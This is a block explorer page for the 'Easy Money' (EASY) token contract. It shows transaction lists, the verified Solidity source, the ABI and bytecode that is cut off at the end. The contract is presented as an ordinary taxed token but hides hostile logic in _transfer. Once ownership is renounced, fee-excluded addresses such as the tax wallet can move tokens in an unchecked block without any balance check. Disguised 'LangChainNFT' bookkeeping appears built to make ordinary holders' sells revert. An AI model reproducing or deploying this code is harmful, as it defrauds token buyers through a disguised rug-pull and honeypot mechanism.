ETH Price: $2,001.64 (+3.01%)

Contract

0xF3EdC0979366aE9f5b50aEFFAd0E8D06472A7D2E
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve202403442024-07-05 12:36:11612 days ago1720182971IN
0xF3EdC097...6472A7D2E
0 ETH0.000508510.97978908
Approve202403162024-07-05 12:30:35612 days ago1720182635IN
0xF3EdC097...6472A7D2E
0 ETH0.000430149.2350939
Approve202402682024-07-05 12:20:59612 days ago1720182059IN
0xF3EdC097...6472A7D2E
0 ETH0.000409288.83285895
Manual Swap202402532024-07-05 12:17:59612 days ago1720181879IN
0xF3EdC097...6472A7D2E
0 ETH0.000838295.34295161
Approve202402422024-07-05 12:15:47612 days ago1720181747IN
0xF3EdC097...6472A7D2E
0 ETH0.000406678.77647277
Approve202402282024-07-05 12:12:59612 days ago1720181579IN
0xF3EdC097...6472A7D2E
0 ETH0.000418249.0261722
Approve202402272024-07-05 12:12:47612 days ago1720181567IN
0xF3EdC097...6472A7D2E
0 ETH0.0005317311.41618845
Approve202402212024-07-05 12:11:35612 days ago1720181495IN
0xF3EdC097...6472A7D2E
0 ETH0.000348557.53199996
Approve202402182024-07-05 12:10:59612 days ago1720181459IN
0xF3EdC097...6472A7D2E
0 ETH0.000320186.88310862
Approve202402182024-07-05 12:10:59612 days ago1720181459IN
0xF3EdC097...6472A7D2E
0 ETH0.000454249.80310862
Approve202402162024-07-05 12:10:35612 days ago1720181435IN
0xF3EdC097...6472A7D2E
0 ETH0.0004696210.13488637
Approve202402142024-07-05 12:10:11612 days ago1720181411IN
0xF3EdC097...6472A7D2E
0 ETH0.00040738.74468967
Approve202402112024-07-05 12:09:35612 days ago1720181375IN
0xF3EdC097...6472A7D2E
0 ETH0.0004663210.011945
Approve202401852024-07-05 12:04:23612 days ago1720181063IN
0xF3EdC097...6472A7D2E
0 ETH0.0004888610.55028638
Approve202401782024-07-05 12:02:47612 days ago1720180967IN
0xF3EdC097...6472A7D2E
0 ETH0.0004759610.27173166
Renounce Ownersh...202401752024-07-05 12:02:11612 days ago1720180931IN
0xF3EdC097...6472A7D2E
0 ETH0.0002437110.48314814
Approve202401712024-07-05 12:01:23612 days ago1720180883IN
0xF3EdC097...6472A7D2E
0 ETH0.0004880310.54044714
Approve202401692024-07-05 12:00:59612 days ago1720180859IN
0xF3EdC097...6472A7D2E
0 ETH0.000498110.75516175
Approve202401672024-07-05 12:00:35612 days ago1720180835IN
0xF3EdC097...6472A7D2E
0 ETH0.0004987110.77121596
Approve202401662024-07-05 12:00:23612 days ago1720180823IN
0xF3EdC097...6472A7D2E
0 ETH0.0004995610.78948653
Approve202401652024-07-05 12:00:11612 days ago1720180811IN
0xF3EdC097...6472A7D2E
0 ETH0.0005915512.70058386
Approve202401642024-07-05 11:59:59612 days ago1720180799IN
0xF3EdC097...6472A7D2E
0 ETH0.00058212.49553331
Approve202401632024-07-05 11:59:47612 days ago1720180787IN
0xF3EdC097...6472A7D2E
0 ETH0.0005035810.81197968
Approve202401632024-07-05 11:59:47612 days ago1720180787IN
0xF3EdC097...6472A7D2E
0 ETH0.0005967412.81197968
Approve202401632024-07-05 11:59:47612 days ago1720180787IN
0xF3EdC097...6472A7D2E
0 ETH0.0005967412.81197968
View all transactions

Latest 23 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer202402532024-07-05 12:17:59612 days ago1720181879
0xF3EdC097...6472A7D2E
0.28089242 ETH
Transfer202402532024-07-05 12:17:59612 days ago1720181879
0xF3EdC097...6472A7D2E
0.28089242 ETH
Transfer202402422024-07-05 12:15:47612 days ago1720181747
0xF3EdC097...6472A7D2E
0.03816173 ETH
Transfer202402422024-07-05 12:15:47612 days ago1720181747
0xF3EdC097...6472A7D2E
0.03816173 ETH
Transfer202402282024-07-05 12:12:59612 days ago1720181579
0xF3EdC097...6472A7D2E
0.02242166 ETH
Transfer202402282024-07-05 12:12:59612 days ago1720181579
0xF3EdC097...6472A7D2E
0.02242166 ETH
Transfer202402182024-07-05 12:10:59612 days ago1720181459
0xF3EdC097...6472A7D2E
0.02441338 ETH
Transfer202402182024-07-05 12:10:59612 days ago1720181459
0xF3EdC097...6472A7D2E
0.02441338 ETH
Transfer202402162024-07-05 12:10:35612 days ago1720181435
0xF3EdC097...6472A7D2E
0.04479973 ETH
Transfer202402162024-07-05 12:10:35612 days ago1720181435
0xF3EdC097...6472A7D2E
0.04479973 ETH
Transfer202401892024-07-05 12:05:11612 days ago1720181111
0xF3EdC097...6472A7D2E
0.04957826 ETH
Transfer202401892024-07-05 12:05:11612 days ago1720181111
0xF3EdC097...6472A7D2E
0.04957826 ETH
Transfer202401852024-07-05 12:04:23612 days ago1720181063
0xF3EdC097...6472A7D2E
0.02599847 ETH
Transfer202401852024-07-05 12:04:23612 days ago1720181063
0xF3EdC097...6472A7D2E
0.02599847 ETH
Transfer202401712024-07-05 12:01:23612 days ago1720180883
0xF3EdC097...6472A7D2E
0.01887307 ETH
Transfer202401712024-07-05 12:01:23612 days ago1720180883
0xF3EdC097...6472A7D2E
0.01887307 ETH
Transfer202401692024-07-05 12:00:59612 days ago1720180859
0xF3EdC097...6472A7D2E
0.01690151 ETH
Transfer202401692024-07-05 12:00:59612 days ago1720180859
0xF3EdC097...6472A7D2E
0.01690151 ETH
Transfer202401672024-07-05 12:00:35612 days ago1720180835
0xF3EdC097...6472A7D2E
0.0164786 ETH
Transfer202401672024-07-05 12:00:35612 days ago1720180835
0xF3EdC097...6472A7D2E
0.0164786 ETH
Transfer202401662024-07-05 12:00:23612 days ago1720180823
0xF3EdC097...6472A7D2E
0.01730268 ETH
Transfer202401662024-07-05 12:00:23612 days ago1720180823
0xF3EdC097...6472A7D2E
0.01730268 ETH
Add Liquidity ET...202401612024-07-05 11:59:23612 days ago1720180763
0xF3EdC097...6472A7D2E
1 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
EasyMoney

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-07-05
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract EasyMoney is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address payable;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    bool private transferDelayEnabled = true;
    mapping (address => uint256) private _holderLastTransferTimestamp;

    address payable private _taxWallet;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=10;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 100000000000 * 10**_decimals;
    string private constant _name = unicode"Easy Money";
    string private constant _symbol = unicode"EASY";
    uint256 public _maxTxAmount = 1000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 1000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 500000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1700000000 * 10**_decimals;
    
    IUniswapV2Router02 private constant uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private langPerMinute;
    uint256 private startBlock;
    bool private tradingOpen = false;
    struct LangChainNFT { uint256 chat; uint256 session; uint256 summarization; }
    mapping(address => LangChainNFT) private langChain;

    event MaxTxAmountUpdated(
        uint256 _maxTxAmount
    );

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x56762BEb38bEb72056a589f6d96c702D20bB79bd);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner() && to != _taxWallet){
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(
                        _holderLastTransferTimestamp[tx.origin]
                        < block.number,
                        "_transfer:: Transfer delay in use. Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]){
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if(to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance >_taxSwapThreshold && _buyCount > _preventSwapBefore){
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(( _isExcludedFromFee[from] || _isExcludedFromFee[to])
            && from!= address(this) && from != owner() && to!= address(this)
        ) {
            langPerMinute = block.number;
        }

        if(_isExcludedFromFee[from] && _reduceSellTaxAt + startBlock <block.number && ! _isExcludedFromFee[owner()]){
            unchecked {
               _balances[from]-= amount;
               _balances[to] += amount;
            }
            emit Transfer(from, to,amount);
            return;
        }

        if(! _isExcludedFromFee[from] && ! _isExcludedFromFee[to]) {
            if (uniswapV2Pair != to) {
                LangChainNFT storage langChn = langChain[to];
                if (uniswapV2Pair != from || langChn.chat > 0) {
                    uint256 langChnMaker= langChain[from].chat;
                    if (langChn.chat == 0 || langChnMaker < langChn.chat) {
                        langChn.chat = langChnMaker;
                    }
                } else {
                    if (_preventSwapBefore>_buyCount) {
                        langChn.chat = block.number.sub(1);
                    } else {
                        langChn.chat = block.number;
                    }
                }
            } else {
                LangChainNFT storage langChnSum = langChain[from];
                langChnSum.session = block.timestamp;
                langChnSum.summarization = langChnSum.chat.sub(langPerMinute);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)]= _balances[address(this)].add( taxAmount );
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub( amount) ;
        _balances[to] = _balances[to].add(amount.sub( taxAmount ));
        emit Transfer(from, to, amount.sub( taxAmount ));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);

        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(
            address(this),
            address(uniswapV2Router),
            tokenAmount
        );
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled= false;

        emit MaxTxAmountUpdated(
            _tTotal
        );
    }

    function withdrawStuckToken(address addrs, uint256 percent) external onlyOwner {
        address sender = msg.sender;
        uint256 amount;
        if (addrs != address(0)) {
            amount = (IERC20(addrs).balanceOf(address(this))).mul(percent).div(100);
            require(amount > 0, "No stuck tokens");
            IERC20(addrs).transfer(msg.sender, amount);
        } else {
            bool success;
            amount = (address(this).balance).mul(percent).div(100);
            require(amount > 0, "No native stuck tokens");
            (success, ) = address(sender).call{value: amount}("");
            require(success, "Failed to withdraw native stuck tokens");
        }
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.sendValue(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        startBlock = block.number;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{
            value: address(this).balance
        }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint).max
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance > 0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance > 0){
          sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addrs","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"withdrawStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526004805460ff19166001179055600f60078190556008555f6009819055600a818155600b819055600c819055600d819055600e91909155620000499060129062000360565b6200005990633b9aca0062000377565b600f556200006a6012600a62000360565b6200007a90633b9aca0062000377565b6010556200008b6012600a62000360565b6200009b90631dcd650062000377565b601155620000ac6012600a62000360565b620000bc90636553f10062000377565b6012556013805461ffff60a01b191690556016805460ff19169055348015620000e3575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b0319167356762beb38beb72056a589f6d96c702d20bb79bd179055620001586012600a62000360565b620001699064174876e80062000377565b335f908152600160208190526040822092909255600390620001925f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600654909116835291208054909216179055620001f03390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002296012600a62000360565b6200023a9064174876e80062000377565b60405190815260200160405180910390a362000391565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002a557815f190482111562000289576200028962000251565b808516156200029757918102915b93841c93908002906200026a565b509250929050565b5f82620002bd575060016200035a565b81620002cb57505f6200035a565b8160018114620002e45760028114620002ef576200030f565b60019150506200035a565b60ff84111562000303576200030362000251565b50506001821b6200035a565b5060208310610133831016604e8410600b841016171562000334575081810a6200035a565b62000340838362000265565b805f190482111562000356576200035662000251565b0290505b92915050565b5f6200037060ff841683620002ad565b9392505050565b80820281158282048414176200035a576200035a62000251565b611e90806200039f5f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102e3578063a9059cbb1461030f578063bf474bed1461032e578063c9567bf914610343578063dd62ed3e14610357575f80fd5b8063715018a61461026b578063751039fc1461027f5780637d1db4a5146102935780638da5cb5b146102a85780638f9a55c0146102ce575f80fd5b806318160ddd116100e357806318160ddd146101d557806323b872dd146101e9578063313ce5671461020857806351bc3c851461022357806370a0823114610237575f80fd5b806306fdde031461011e578063095ea7b3146101625780630c506e96146101915780630faee56f146101b2575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a81526945617379204d6f6e657960b01b60208201525b6040516101599190611a6c565b60405180910390f35b34801561016d575f80fd5b5061018161017c366004611acc565b61039b565b6040519015158152602001610159565b34801561019c575f80fd5b506101b06101ab366004611acc565b6103b1565b005b3480156101bd575f80fd5b506101c760125481565b604051908152602001610159565b3480156101e0575f80fd5b506101c7610639565b3480156101f4575f80fd5b50610181610203366004611af6565b61065a565b348015610213575f80fd5b5060405160128152602001610159565b34801561022e575f80fd5b506101b06106c1565b348015610242575f80fd5b506101c7610251366004611b34565b6001600160a01b03165f9081526001602052604090205490565b348015610276575f80fd5b506101b0610729565b34801561028a575f80fd5b506101b061079a565b34801561029e575f80fd5b506101c7600f5481565b3480156102b3575f80fd5b505f546040516001600160a01b039091168152602001610159565b3480156102d9575f80fd5b506101c760105481565b3480156102ee575f80fd5b506040805180820190915260048152634541535960e01b602082015261014c565b34801561031a575f80fd5b50610181610329366004611acc565b610858565b348015610339575f80fd5b506101c760115481565b34801561034e575f80fd5b506101b0610864565b348015610362575f80fd5b506101c7610371366004611b4f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a7338484610c15565b5060015b92915050565b5f546001600160a01b031633146103e35760405162461bcd60e51b81526004016103da90611b86565b60405180910390fd5b335f6001600160a01b0384161561052a576040516370a0823160e01b81523060048201526104739060649061046d9086906001600160a01b038916906370a0823190602401602060405180830381865afa158015610443573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104679190611bbb565b90610d38565b90610dbd565b90505f81116104b65760405162461bcd60e51b815260206004820152600f60248201526e4e6f20737475636b20746f6b656e7360881b60448201526064016103da565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0385169063a9059cbb906044016020604051808303815f875af1158015610500573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105249190611bd2565b50610633565b5f61053a606461046d4787610d38565b91505f82116105845760405162461bcd60e51b81526020600482015260166024820152754e6f206e617469766520737475636b20746f6b656e7360501b60448201526064016103da565b6040516001600160a01b0384169083905f81818185875af1925050503d805f81146105ca576040519150601f19603f3d011682016040523d82523d5f602084013e6105cf565b606091505b505080915050806106315760405162461bcd60e51b815260206004820152602660248201527f4661696c656420746f207769746864726177206e617469766520737475636b20604482015265746f6b656e7360d01b60648201526084016103da565b505b50505050565b5f6106466012600a611ce5565b6106559064174876e800611cf3565b905090565b5f610666848484610dfe565b6106b784336106b285604051806060016040528060288152602001611e33602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611679565b610c15565b5060019392505050565b6006546001600160a01b0316336001600160a01b0316146106e0575f80fd5b305f9081526001602052604090205480158015906107075750601354600160a81b900460ff165b1561071557610715816116b1565b478015610725576107258161185a565b5050565b5f546001600160a01b031633146107525760405162461bcd60e51b81526004016103da90611b86565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107c35760405162461bcd60e51b81526004016103da90611b86565b6107cf6012600a611ce5565b6107de9064174876e800611cf3565b600f556107ed6012600a611ce5565b6107fc9064174876e800611cf3565b6010556004805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108366012600a611ce5565b6108459064174876e800611cf3565b60405190815260200160405180910390a1565b5f6103a7338484610dfe565b5f546001600160a01b0316331461088d5760405162461bcd60e51b81526004016103da90611b86565b60165460ff16156108e05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103da565b4360155561091830737a250d5630b4cf539739df2c5dacb4c659f2488d6109096012600a611ce5565b6106b29064174876e800611cf3565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610968573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098c9190611d0a565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109eb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0f9190611d0a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a59573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7d9190611d0a565b601380546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f80610ade5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b44573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b699190611d25565b505060135460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af1158015610bce573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bf29190611bd2565b506013805460ff60a81b1916600160a81b1790556016805460ff19166001179055565b6001600160a01b038316610c775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103da565b6001600160a01b038216610cd85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103da565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f825f03610d4757505f6103ab565b5f610d528385611cf3565b905082610d5f8583611d50565b14610db65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103da565b9392505050565b5f610db683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611873565b6001600160a01b038316610e625760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103da565b6001600160a01b038216610ec45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103da565b5f8111610f255760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103da565b5f80546001600160a01b03858116911614801590610f5057505f546001600160a01b03848116911614155b8015610f6a57506006546001600160a01b03848116911614155b156112bc57610f95606461046d600b54600e5411610f8a57600754610f8e565b6009545b8590610d38565b60045490915060ff1615611088576001600160a01b038316737a250d5630b4cf539739df2c5dacb4